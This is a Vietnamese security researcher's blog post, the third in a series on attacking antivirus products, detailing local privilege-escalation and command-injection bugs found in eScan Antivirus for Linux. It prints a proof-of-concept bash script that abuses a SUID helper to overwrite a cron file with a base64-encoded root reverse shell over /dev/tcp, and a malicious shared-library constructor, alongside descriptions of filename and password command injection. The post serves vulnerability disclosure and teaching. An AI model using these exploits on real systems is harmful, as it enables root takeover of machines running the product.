Pwning AV (3): eScan Antivirus - sản phẩm tệ hơn cả người yêu cũ

Từ một lỗ hổng tình cờ đầy bất ngờ
Nếu bạn đọc xong title và tự hỏi “eScan là cái gì” thì… bạn đúng rồi đấy. Trong hằng hà sa số những giải pháp bảo mật hiện tại, eScan là một cái tên ít được biết đến. Thậm chí, tại Việt Nam, chắc chắn cái tên này còn ít được biết đến hơn cả CMC Antivirus. Chính bản thân tôi cũng không biết đến giải pháp bảo mật này cho đến khi đọc quyển The Antivirus Hacker Handbook do Joxean Koret và Elias Bachaalany viết. eScan Antivirus là một giải pháp bảo mật của Ấn Độ (trong quyển The Antivirus Hacker Handbook có nói sản phẩm này trước đây của Mỹ. Có thể do công ty chủ quản thay đổi hoặc do nhầm lẫn của tác giả). Mặc dù là một sản phẩm ít tên tuổi, eScan vẫn quảng cáo là được dùng bởi chính phủ, quốc phòng, công nghiệp viễn thông, … từ khắp nơi trên thế giới.
eScan đã đạt các giải thưởng hàng đầu thế giới dành cho sản phẩm chống virus như VB 100, AV TEST
Đây là kết quả của việc sử dụng nhiều engine khác nhau để scan.
Để làm được điều này, eScan sử dụng engine của BitDefender và, theo quyển The Hacker Antivirus Handbook, ClamAV.
Trong khi được quảng cáo “mạnh tay” với nhiều tính năng mỹ miều cũng như giải thưởng danh giá (giống hãng B nào đó ở Việt Nam), eScan lại có những lỗ hổng hết sức… tệ hại. Cụ thể, trong quyền The Antivirus Hacker Handbook, chương trình này (trên platform Linux) từng sử dụng 1 web application viết bằng PHP nhằm tạo giao diện quản trị thông qua port TCP/10080
. PHP application này có lỗ hổng Arbitrary Command Execution với quyền root.
Với chừng ấy thông tin về mức độ bảo mật của sản phẩm, tôi đã quyết định nghiên cứu sản phẩm này và “lượm” được CVE đầu tiên.
Sau khi cài đặt eScan Antivirus for Linux, tôi thấy ngay một điểm rất đáng lưu tâm: SUID binary.
Chỉ trong tíc tắc, spider sense của tôi lập tức phát ra “cảnh báo”.
Sử dụng Ghidra để dịch ngược, tôi đã phát hiện chức năng quan trọng của chương trình runasroot
. Chương trình có hàm verify_command_args
nhằm whitelist cú pháp lệnh chmod
với các parameter được nhận từ args.
Lệnh này được thực hiện qua hàm execvp
với điều kiện verify_command_args
return về đúng (chỉ được chmod
với các đường dẫn file đã define trước) và uid của user thực thi là 0 hoặc 0xc4 (uid 0xc4 là user được eScan tạo khi cài đặt).
Tuy nhiên, developer đã nhầm lẫn toán tử (sử dụng or thay vì and) nên chương trình cho phép tất cả user khác trên hệ thống được phép thực thi lệnh chmod
thông qua runasroot
.
Bên cạnh đó, trong số các file path đã được define của escan, một số file path được sử dụng bởi cron.
Như vậy, attacker có thể sử dụng lỗ hổng này nhằm sửa quyền của file cron, sau đó ghi đè mã độc. Đoạn mã POC khai thác lỗ hổng như sau:
#!/bin/bash
# Modify permission of crontab
/opt/MicroWorld/sbin/runasroot chmod 777 /opt/MicroWorld/etc/mwavupdate
# Modify crontab to run malicious command
echo "KiAqICogKiAqIHJvb3QgYmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzg4ODggPCYxJwo=" | base64 -d > /opt/MicroWorld/etc/mwavupdate
/opt/MicroWorld/sbin/runasroot chmod 750 /opt/MicroWorld/etc/mwavupdate
nc -nvlp 8888
Kết quả cron thực thi lệnh với quyền root
. Attacker thực hiện leo thang đặc quyền thành công.
Sau phát hiện này, tôi đã liên hệ phía eScan. Thay vì nhận được một câu cảm ơn, phía eScan chỉ vứt đường link 1 file patch để tôi confirm lỗ hổng đã được fix (LoL). Sau đó, tôi đã report lỗ hổng thông qua VulDB và được assign CVE-2023-4383
.
Hữu duyên thiên lý năng tương ngộ
Đối với tôi, việc tìm ra 0-day không khác gì sự nghiện ngập. Và khi cơn nghiện đã đến hồi “vật vã”, tôi lại tìm đến eScan để “thỏa mãn”.
Mặc dù bị cơn khát 0-day “hành hạ”, tôi đã không cố gắng rush quá trình phân tích vào một mục tiêu mà thực hiện tìm kiếm nhiều attack surface nhất có thể. Hãy xét quá trình cài đặt và hoạt động của một chương trình AV:
Cài đặt: Thay đổi resource hệ thống bằng cách ghi dữ liệu chương trình, thêm các cronjob, service, log, …
Thực thi: Thực hiện các nhiệm vụ cơ bản nhất của Antivirus như real-time protection, on-demand scan, …
Duy trì: Cập nhật phần mềm, cập nhật cơ sở dữ liệu, ghi log, giao tiếp giữa service và user interface.
Khi xét tác động hoặc luồng hoạt động như vậy, ta có thể rút ra một số attack surface như sau:
Đối với quá trình cài đặt: Chương trình có thể có những điểm yếu trong phân quyền hoặc có lưu các giá trị mặc định giúp cho attacker có thể bypass detetion, leo thang đặc quyền hoặc tác động trái phép vào một số tài nguyên trên hệ thống.
Đối với quá trình thực thi: Chương trình có thể có những điểm yếu trong việc parse dữ liệu, truy cập file path, … dẫn đến crash, path traversal hoặc thậm chí code execution.
Đối với quá trình duy trì: Chương trình có thể có điểm yế trong chức năng update, giao tiếp giữa service và process dẫn đến leo thang đặc quyền, ghi file trái phép, hoặc thậm chí code execution.
Với những scope như vậy, tôi có thể tối ưu hiệu quả trong việc tìm kiếm và phân tích lỗ hổng. Những phần tiếp theo trở thành câu chuyện của kỹ năng, hoặc là sự may mắn.
Đợi ta không đợi người
Có một sự thực trong ngành security, hay cụ thể hơn là tìm 0-day, đó là câu hỏi “tại sao dễ như vậy mà mình lại không tìm ra nhỉ?”. Theo ý kiến của cá nhân tôi, một nguyên nhân sau có thể là lý do:
Chưa hiểu rõ nguyên lý chương trình.
Chưa xác định đủ các điểm yếu liên quan đến luồng logic.
Chú trọng vào các điểm yếu phức tạp nhưng bỏ qua những chức năng đơn giản.
Thực vậy, eScan có những lỗ hổng rất… “ối giời ơi” như thể nó tồn tại để đợi được tìm ra. Đầu tiên, hãy thử kiểm tra các file được chương trình cài đặt. Trong quá trình phân tích, tôi đã sử dụng phiên bản .deb
64 bit được tải về từ https://escanav.com/en/antivirus-downloadlink/downloadproduct.asp?pcode=ES-LNHMv9
. Đầu tiên, thử xem các file được ghi vào hệ thống:
Chương trình bảo mật “bảo vệ người dùng” nhưng lại có chmod 777! Điều này có nghĩa là bất cứ low privilege user nào cũng có thể thay đổi dữ liệu của Antivirus, kể cả www-data
(LoL).
Dựa vào một số dấu hiệu sơ bộ, tôi phỏng đoán đây là thư mục chứa database và library của BitDefender plugin. Để kiểm chứng, tôi phân tích nhanh các string nằm trong file bdcore.so
và phỏng đoán được chứng minh là chính xác.
Như vậy, low privilege user có thể sửa đổi dữ liệu của các file thư viện bằng cách chèn mã độc. Tiếp tục phân tích phân tích scanner escan
bằng công cụ strace để xem các thư viện được sử dụng với lệnh strace -s 1024 -f -e openat ./escan | grep bdplugin | grep \\.so
.
Chương trình escan
sử dụng 2 file thư viện .so
không tồn tại trên hệ thống (LoL?). Như vậy, attacker có thể ghi file .so
chứa mã độc vào các vị trí này. Chương trình escan
sẽ thực thi mã độc dưới quyền của user thực thi chương trình. Thử nghiệm khai thác lỗ hổng này bằng cách compile shared library bằng gcc với lệnh gcc -fPIC -shared -o libpwn.so pwned.c
và source code như sau:
#include <stdlib.h>
attribute((constructor)) void pwn() {
system("id > /tmp/pwned");
}
Sau đó, tôi copy file đã tạo vào file path với quyền của người dùng thường (không sử dụng sudo
) và debug escan
với strace
.
Kết quả từ strace
cho thấy escan
đã load thư viện độc hại.
Kiểm tra file /tmp/pwned
, dữ liệu của file là kết quả của lệnh id
. Như vậy, lỗ hổng được khai thác thành công.
Giả sử một security researcher “X” đọc đến đây, có thể anh ấy sẽ nói như này:
Anh “X” hãy bình tĩnh! Chúng ta còn nhiều chức năng chưa phân tích mà!
Xét độ nguy hiểm của lỗ hổng: impact của lỗ hổng liên quan trực tiếp tới các dữ kiện đi kèm.
Giả dụ đối với lỗ hổng trên, nếu user root
thực thi quét hệ thống, mã độc sẽ được thực thi với quyền root
. Tuy nhiên, việc khai thác như vậy mang tính chất “hên xui” rất cao. Như vậy, để impact đạt cao nhất thì attacker phải chủ động được việc thực thi lệnh và quyền thực thi. Câu hỏi được đặt ra: Liệu có chương trình nào của eScan cùng load thư viện của BitDefender không? Câu trả lời nằm ở chức năng real-time scan của eScan Antivirus: chương trình rtscanner
là một service được thực thi bởi systemd và có quyền root. Để kiểm chứng, tôi thực hiện stop dịch vụ rtscanner
và debug bằng strace
(sau khi remove thư viện độc hại nhằm thử nghiệm lỗ hổng ở phía trên).
Như vậy, chương trình rtscanner
cũng sử dụng các thư viện tương tự như chương trình escan
. Nếu ta thực hiện khai thác lỗ hổng trên, mã độc được thực thi dưới quyền root
khi service rtscanner
reload hoặc máy victim reboot. Nhưng liệu còn có điều kiện nào khác khiến lỗ hổng này nguy hiểm hơn không? Ta hãy tiếp tục phân tích các logic hoạt động khác của eScan.
“Bộ nhớ” và “con đường”
Trong 1 set hài của Sài Gòn Tếu, Phương Nam đã có 1 joke như thế này: “Muốn đi nhanh thì đi 1 mình. Muốn đi xa thì đi Phạm Thế Hiển”. Một câu joke tưởng chừng không liên quan gì đến bài viết cả nhưng thực chất lại liên quan đến một lỗ hổng khá là “ngộ”. Nên biết rằng, để đảm bảo tốc độ thực thi, hầu hết các Antivirus đều sử dụng ngôn ngữ C hoặc C++ để viết. Vì vậy, các lỗi liên quan đến bộ nhớ luôn có thể xảy ra. (Ảnh minh họa: joke nhạt về memory và path)
Thực vậy, ngay cả một project được viết với chất lượng rất tốt như Yara cũng gặp vấn đề này. Tại commit 2a9f61d4844615c03af05086a6a6ab55f586e6e4
, Yara đã sửa vấn đề cấp phát bộ nhớ cho file path. Lỗi này không được sửa hoàn toàn trong commit b68de47e8284c76da61d2397a1c74a79d138611e
.
Trong một buổi học của Cyber Jutsu, thầy Mạnh Luật đã nói: “Chức năng giống nhau thì luồng logic xử lý sẽ giống nhau. Điều này dẫn đến chức năng giống nhau sẽ xuất hiện lỗ hổng tương tự nhau.”. eScan Antivirus không nằm trong ngoại lệ. Đầu tiên, khi kiểm tra setting của chức năng real-time scanner tại giao diện, ta thấy escan có 2 thư mục mặc định là /home/
và /tmp/
.
Phân tích cụ thể hơn trong binary của rtscanner
, thấy rằng chương trình này sử dụng inotify
để giám sát thay đổi trong file system. Nếu có một folder mới tạo nằm trong danh sách được monitor, chương trình gọi đến method addWatchForDir
để thực hiện logic thêm folder mới được khởi tạo vào danh sách watch.
Trong quá trình thực thi, addWatchForDir
sẽ gọi đến hàm isExcludeDir
để kiểm tra xem thư mục có nằm trong danh sách loại trừ hay không. Hàm isExcludeDir
tiếp tục gọi đến removeExtraSlashes
, một hàm xử lý chuẩn hóa đường dẫn bằng cách loại bỏ các dấu /
dư thừa. Tuy nhiên, một lỗ hổng xảy ra tại đây: removeExtraSlashes
sử dụng strcpy
để copy giá trị vào một pointer.
Như vậy, chỉ cần một thư mục mới được khởi tạo, rtscanner
sẽ thực hiện hàm addWatchForDir
. Nếu giá trị đường dẫn quá dài, chương trình sẽ gặp lỗi tràn bộ đệm và crash. Thực hiện debug sử dụng gdb
để attach vào process rtscanner
đang chạy.
Tiếp theo, tôi tiến hành tạo nhiều thư mục con với tên dài.
Chương trình rtscanner
crash ngay sau khi thư mục được tạo.
Sử dụng lệnh bt
trong gdb
, ta thấy được thông tin cụ thể hơn: chương trình crash tại removeExtraSlashes
và có exception stack smashing detected.
Lúc này, researcher “X” sẽ nói là: “Đây chỉ là một lỗi, không phải lỗ hổng. Cái này chả có gì nghiêm trọng cả”.
Anh X nói vậy không hoàn toàn sai. Mặc dù đây vẫn là một lỗ hổng, nhưng impact của nó không thực sự quá lớn. Vả lại, để thỏa mãn cơn “vật” 0-day của bản thân, tôi cần một “liều” lỗ hổng có impact mạnh hơn. Sau khi mò mẫm một hồi, tôi đã tìm được thêm một dữ kiện: rtscanner
sẽ được restart lại bởi systemd
nếu gặp vấn đề.
Góp gió thành bão
Một lỗ hổng có thể không đạt được impact cao nhất. Tuy nhiên, lỗ hổng đó nếu được kết hợp với các lỗ hổng khác thì câu chuyện có thể trở nên rất khác biệt.
Như đã phân tích từ trước, ta có các dữ kiện:
User với quyền thấp có thể ghi file thư viện độc hại vào thư mục chứa engine BitDefender của eScan Antivirus.
Chương trình
rtscanner
sẽ thực hiện load thư viện từ trong thư mục engine nói trên (và thực thi mã độc).Ta có lỗ hổng gây crash
rtscanner
.rtscanner
sẽ được khởi động lại bởisystemd
nếu crash.
Kết hợp các dữ kiện trên, tôi đã tiến hành tạo logic exploit như sau:
Tạo 1 file thư viện chứa mã độc (cụ thể ở đây là thực thi reverse shell sử dụng pipeline với bash) nhằm khai thác lỗi default permission.
Tạo thư mục với nhiều thư mục con có giá trị absolute path dài để
rtscanner
crash vàsystemd
khởi động lại dịch vụ này.Đảm bảo thư mục khai thác crash được “dọn dẹp” để tránh trường hợp
rtscanner
bị khởi động lại liên tục.
Đoạn code C của thư viện như sau:
Để khai thác, ta chỉ cần viết 1 script bash đơn giản sử dụng cp
và mkdir -p
.
“Bảo vệ” thời gian thực và giải thuật tệ nhất từng được tạo ra
Vừa rồ là một hành trình khá dài từ quá trình biết tới eScan cho đến những lỗ hổng giời ơi đất hỡi tôi đã phát hiện ra. Tuy nhiên, những lỗ hổng vừa rồi chỉ là bề nổi của một mớ… hỗn độn dần được hé lộ. Với tâm lý thừa thắng xông lên, tôi đã tiếp tục phân tích sâu hơn rtscanner
. Với tư tưởng “chắc hẳn sẽ còn tràn bộ đệm khác”, tôi thực hiện debug chương trình này với một số file khác biệt được tạo ra. Và bằng một cách hết sức tình cờ, tôi phát hiện ra một luồng logic gọi đến hàm system()
không liên quan gì tới ý tưởng tràn bộ đệm ban đầu tôi hướng tới.
Đây là một phát hiện hết sức bất ngờ. Vì trong trường hợp thông thường, việc sử dụng lệnh hệ thống khiến nhiều vấn đề này sinh. Dĩ nhiên, sử dụng lệnh hệ thống để gọi đến các binary hay tập lệnh nào đó sẽ khiến công việc của developer được rút ngắn đáng kể. Nhưng mặt khác, nó gây ảnh hưởng tới performance của chương trình vì phải gọi một process mới thay vì xử lý một số các hàm nhất định (trừ trường hợp thuật toán tạo ra có performance tệ hơn). Ngoài ra, nó cũng gây ra nhiều nguy cơ về bảo mật, nhất là trong trường hợp sử dụng hàm system
có xử lý untrusted data. Vì vậy, tôi đã quyết định phân tích sâu hơn luồng giải thuật này.
Trong lúc debug, tôi đã sử dụng edb-debugger
để tiện theo dõi luồng hoạt động. Mặc dù edb-debugger
là một debugger sử dụng GUI trên Linux và có phần tiện lợi hơn so với gdb
. Tuy nhiên, để dịch ngược chương trình thì đây lại không phải là một lựa chọn thực sự hợp lý. Vì vậy, tôi sử dụng binary ninja để tiếp tục phân tích thông qua dịch ngược. Thông qua quá trình phân tích động, tôi đã biết trước một số thông tin sau:
Luồng logic gọi đến hàm system xảy ra khi
rtscanner
phát hiện file chứa mã độc.File chứa mã độc được cách ly bằng cách đưa vào trong thư mục
rtscanner
nằm trong/var/MicroWorld/var/rtquarantine/
File bị cách ly giữ nguyên tên cũ nhưng thêm phần suffix có cấu trúc là
-<id>
với<id>
là một số nguyên, ví dụ nhưmalware-01
,malware-02
.
Rất may, chương trình rtscanner
không có obfuscate hay strip các symbol. Việc giữ nguyên tên hàm khiến quá trình dịch ngược trở nên đơn giản hơn rất nhiều. Cụ thể hơn, đoạn code xử lý logic cách ly file có thể được tìm thấy tại hàm quarantineFile
. Hàm này có một đoạn code parse giá trị int trong section NoOfEntries
tại file qFileInfo.list
. Giá trị này là số file đã bị cách ly được đưa vào trong rtscanner
.
Khi có 1 file mới bị cách ly, chương trình sẽ tăng giá trị của index để tạo file name mới.
Sau đó, chương trình sử dụng hàm rename
của thư viện C.
Nếu kết quả hàm rename
trả về lỗi, chương trình sử dụng hàm system
với lệnh mv
để di chuyển file.
Tóm lại, đoạn code này tiến hành đổi tên file bị detect với format <tên cũ> + “-” + “<số int>”
. Cần lưu ý rằng, file name trên Linux có giới hạn là 255 ký tự. Điều đó đồng nghĩa với việc, len(new_name) = len(old_name) + 2 <= 255
. Nếu phương trình này không thỏa mãn, logic hàm quarantineFile
sẽ rẽ nhánh vào logic gọi hàm system
. Giá trị của file name được truyền vào hàm system mà không sanitize dẫn đến khai thác Arbitrary Command Execution. Lúc này, attacker chỉ cần tạo 1 file với độ dài 254 ký tự và có ký tự đặc biệt như ;
. Lệnh hệ thống sẽ được thực thi dưới quyền root
ngay khi file được ghi vào ổ đĩa (và nằm trong thư mục được real-time scanner theo dõi).
Lỗ hổng này thậm chí còn nguy hiểm hơn khi kết hợp với phishing attack. Nếu phần mềm cho phép tải file mà vẫn giữ nguyên giá trị file name, mã độc sẽ được thực thi ngay khi file được tải về. Lỗ hổng trở thành 1-click Remote Command Execution as root.
Note: Thư mục /var/MicroWorld/var/rtquarantine/
cũng được cấp quyền 777 (LoL). Không những vậy, các file bị “cách ly” vẫn giữ nguyên dữ liệu; kết hợp với rtscanner
có một đoạn hardcode đã exclude thư mục này khỏi real-time protection. Điều đó có nghĩa là attacker có thể lợi dụng những lỗ hổng này để ghi file mã độc vào rtquarantine
và thực thi từ đây nhằm bypass hệ thống “bảo vệ”. Điều này là hoàn toàn khả thi khi payload ban đầu của attacker chỉ là một đoạn downloader nhằm tải về mã độc thực sự. Một phương pháp khác là sử dụng lệnh chmod
để thêm quyền execute cho mã độc đã bị cách ly bởi rtscanner
và thực thi.
Nỗi ám ảnh kinh hoàng trong USB Protection
Nhìn dưới góc độ secure coding, eScan Antivirus for Linux là một mớ hổ lốn tệ hại. Tuy nhiên, những lỗ hổng sau đây thậm chí còn ngớ ngẩn hơn.
Trong chức năng USB Protection, eScan GUI cho phép administrator cài đặt password để unlock USB.
Giá trị của password được đưa vào hàm system
không thông qua sanitize. Lại 1 lỗ hổng OS Command Injection. Tuy nhiên, lỗ hổng này chưa đem lại impact gì quá lớn.
Nếu password được setup và người dùng cắm USB, service epsdaemon
chạy dưới quyền root
sẽ đưa ra 1 dialog hỏi người dùng thường nhập password.
Cũng tương tự như trên, dialog này cũng có lỗ hổng OS command injection.
User thường thông qua dialog này có thể thực thi lệnh hệ thống dưới quyền root
. Như vậy, đây là một lỗ hổng có thể được lợi dụng để leo thang đặc quyền.
Ngoài những lỗ hổng trên, eScan còn 1 tá các lỗ hổng khác như tràn bộ đệm. Dưới đây là một số đoạn code được reverse bằng ghidra.
Hoặc một lỗ hổng OS Command Injection khác trong tên của USB (và kết quả debug thông qua strace
). Rất may tên của USB giới hạn chỉ 12 ký tự nên impact không quá cao.
Khi cơn “vật” đã qua
Sau khi phân tích lỗ hổng trong USB Protection, tôi đã thực sự phát ngấy với những gì mình thấy. Thay vì report cỡ 7, 8 lỗ hổng đã tìm ra, tôi chỉ report đơn giản 2 mục OS Command Injection và tràn bộ đệm, cũng như “quyết tâm” không đụng vào eScan Antivirus thêm một lần nào nữa. Đây là một phần mềm tệ xét theo mọi góc độ từ lập trình cho đến bảo mật. Có lẽ giá trị duy nhất của nó đối với người dùng là cho phép người dùng sử dụng engine của BitDefender miễn phí. Còn đối với hacker? Đây là một target dễ dàng và nhẹ nhàng.
Subscribe to my newsletter
Read articles from Nông Hoàng Tú directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
